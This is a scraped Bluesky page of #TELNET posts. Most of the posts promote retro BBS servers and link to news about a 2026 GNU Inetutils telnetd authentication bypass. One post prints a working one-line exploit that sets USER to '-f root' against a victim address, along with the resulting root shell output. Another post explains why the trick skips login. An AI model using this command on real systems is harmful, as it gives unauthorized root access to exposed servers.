today I used telnet to connect an SMTP server to test email sending and I felt old as shit and at the same time young again.
#telnet
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#TELNET
Posts tagged #TELNET on Bluesky
#GAMES #TELNET #BBS #90s #LIESURE_SUIT_LARRY #DOORS #A-NET_ONLINE #FUNNY
Who Remembers this game?? ;)
a-net.online
bbs.a-net.online - telnet: 1337 ssh: 1338
a-net.online/access.html
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#TELNET #90s #CHAT #GAMES #MRC #uMRC #IRC #thE_grAvY_trAIn
Don't forget to jump on MRC today at 16:00 EST for thE grAvY trAIn meetup!!
bbs.a-net.fyi - or bbs.a-net.online - telnet: 1337 ssh: 1338
Check out a recent semi-retro build/revive I just did!
a-net.online/retro.html
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#TELNET #90s #BBS #GAMES #DOORS #GAMESERVER
Don't forget to add A-Net Online's BBS Door Game Server to your BBS!
a-net.online/gameserver
No hassel, Easy setup!
bbs.a-net.online - telnet: 1337 / ssh: 1338
a-net.online
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#TELNET #BBS #90s #GAMES #A-NET_ONLINE #ANARCHY_UNLIMITED
From running Spitfire, Anarchy Unlimited BBS 94-98 and in 96 changing the name to A-Net Online for Wildcat WinServer & starting an ISP as a teenager.
Still Running Multiple BBSes today! a-net.fyi
bbs.a-net.online - Telnet: 1337 SSH: 1338
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#TELNET #CHAT #MRC #IRC #uMRC #BBS #90s
thE grAvY trAIn starting at 16:00 EST
Come take a load off and chat, find some new friends, or old friends! =:-)
bbs.a-net.fyi
bbs.a-net.online - telnet: 1337 ssh: 1338
a-net.online
Many BBSes to choose from!!
www.telnetbbsguide.com
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#TELNET #BBS #90s #GAMES #USURPER #USURPER-REBORN #ALPHA #DOORS
Usurper-Reborn (ALPHA) Available for play at A-Net Online!
Has local and online mutiplayer! Check it out!
(along w/ tons of other games!)
a-net.online
bbs.a-net-online - telnet:1337 ssh:1338
Running on A-Net Door Game Server
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Il Ritorno dei Morti Viventi: Un bug di 27 anni su Telnet sta terrorizzando i server del 2026
📌 Link all'articolo : www.redhotcyber.com/post/il-...
#redhotcyber #news #cybersecurity #hacking #vulnerabilita #telnet #sicurezzainformatica #accessononautorizzato
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#MRC #CHAT #90s #GAMES #BBS #TELNET #uMRC @conchaos.synchro.net
Gravy Train MRC Chat Meetup today at 16:00 EST !!
telnetbbsguide.com
bbs.a-net.fyi
bbs.a-net.online / Telnet:1337 - SSH:1338
After thE grAvY trAIn jump in a game of TANK BATTLE
Land of The Lost - landofthelost.ca
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#TELNET #SSH #BBS #90s #GAMES #CHAT #ECHO
@conchaos.synchro.net
Echostats & scroller by Codefenix of Constructive Chaos BBS - conchaos.synchro.net
&
A-Net Door Scores combined for an awesome message stats mod!
Telnet/SSH
ConChaos.Synchro.net - 23 / 22
bbs.a-net.online - 1337 / 1338
a-net.fyi
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Were telcos tipped off to *that* ancient #Telnet bug? Cyber pros say the signs stack up
www.theregister.com/2026/02/11/were_telcos_t...
#cybersecurity
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#TELNET #SSH #BBS #90s #CHAT #GAMES #MRC #uMRC #IRC #A-NET_ONLINE
@conchaos.synchro.net
thE grAvY trAIn - EvErY sAtUrdAY - 16:00 EST
a-net.fyi - a-net-online.lol
bbs.a-net.online - telnet:1337 ssh:1338
After thE grAvY trAIn jump in a game of TANK BATTLE
www.telnetbbsguide.com
Jump on a BBS
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RE: https://infosec.exchange/@greynoise/116048274219221618
Unsung heroes.
3/5 of telnet traffic (100% INSECURE, with the dominant implementation having a trivial zero-day remote root login bug) was stopped by one transit provider saying “unrestricted Internet my ass, this garbage is not […]
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#RADIO #BBS #TELNET #90s #CHAT #GAMES #IRC #MRC #uMRC
radio.a-net.online
A-Net Online BBS formally (in the 90s) Anarchy Unlimited
presents A-Net Radio!
bbs.a-net.online - telnet:1337 ssh:1338
https:/a-net.online
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#TELNET #SSH #BBS #90s #CHAT #GAMES #MRC #uMRC #IRC #A-NET_ONLINE
@conchaos.synchro.net
Don't forget!
thE grAvY trAIn - EvErY sAtUrdAY - 16:00 EST
a-net.fyi - a-net-online.lol
bbs.a-net.online - telnet:1337 ssh:1338
www.telnetbbsguide.com
After thE grAvY trAIn jump in a game of TANK BATTLE
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🚨 Más de 800.000 servidores siguen expuestos por #Telnet.
En LATAM, servicios heredados y sin monitoreo permiten accesos remotos críticos.
#Xcitium detecta estas exposiciones a tiempo y ayuda a cerrar la puerta antes del ataque. 🔐
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Critical Linux Warning: 800,000 Devices are EXPOSED!
Watch the video on YouTube: youtu.be/81fq__6a1FQ?...
#linux #telnet #linuxrootexploit
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Warning: computer nerd stuff below:
So. In 2026, telnet is still a thing.
Really? 😑
ubuntu@ubuntu:~$ USER=“-f root” telnet -a victim.ip.address
[usual Ubuntu /etc/issue text]
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
You’re welcome.
#itsecurity #unix #linux #telnet #telnetd
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⚡ The exploit is shockingly simple: attackers send "-f root" as the USER value, triggering /usr/bin/login -f root which skips password authentication entirely
🎯 Nearly 800,000 #Telnet servers potentially affected worldwide running vulnerable GNU inet utils implementations
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🚨 Critical #Telnet Authentication Bypass Vulnerability Discovered #CVE202624061 #cybersecurity #infosec #DevOps #security
🔓 #GNU Inetutils telnetd through version 2.7 allows remote authentication bypass via "-f root" USER environment variable
🧵 👇
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Critical vulnerability CVE-2026-24061 in GNU InetUtils exposes 800K Telnet servers to unauthenticated RCE. Upgrade to version 2.8+ or disable telnetd immediately. #CyberSecurity #InfoSec #Telnet Link: thedailytechfeed.com/critical-fla...
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Nearly 800,000 #Telnet servers exposed to remote attacks
www.bleepingcomputer.com/news/security/nearly-800...
#cybersecurity
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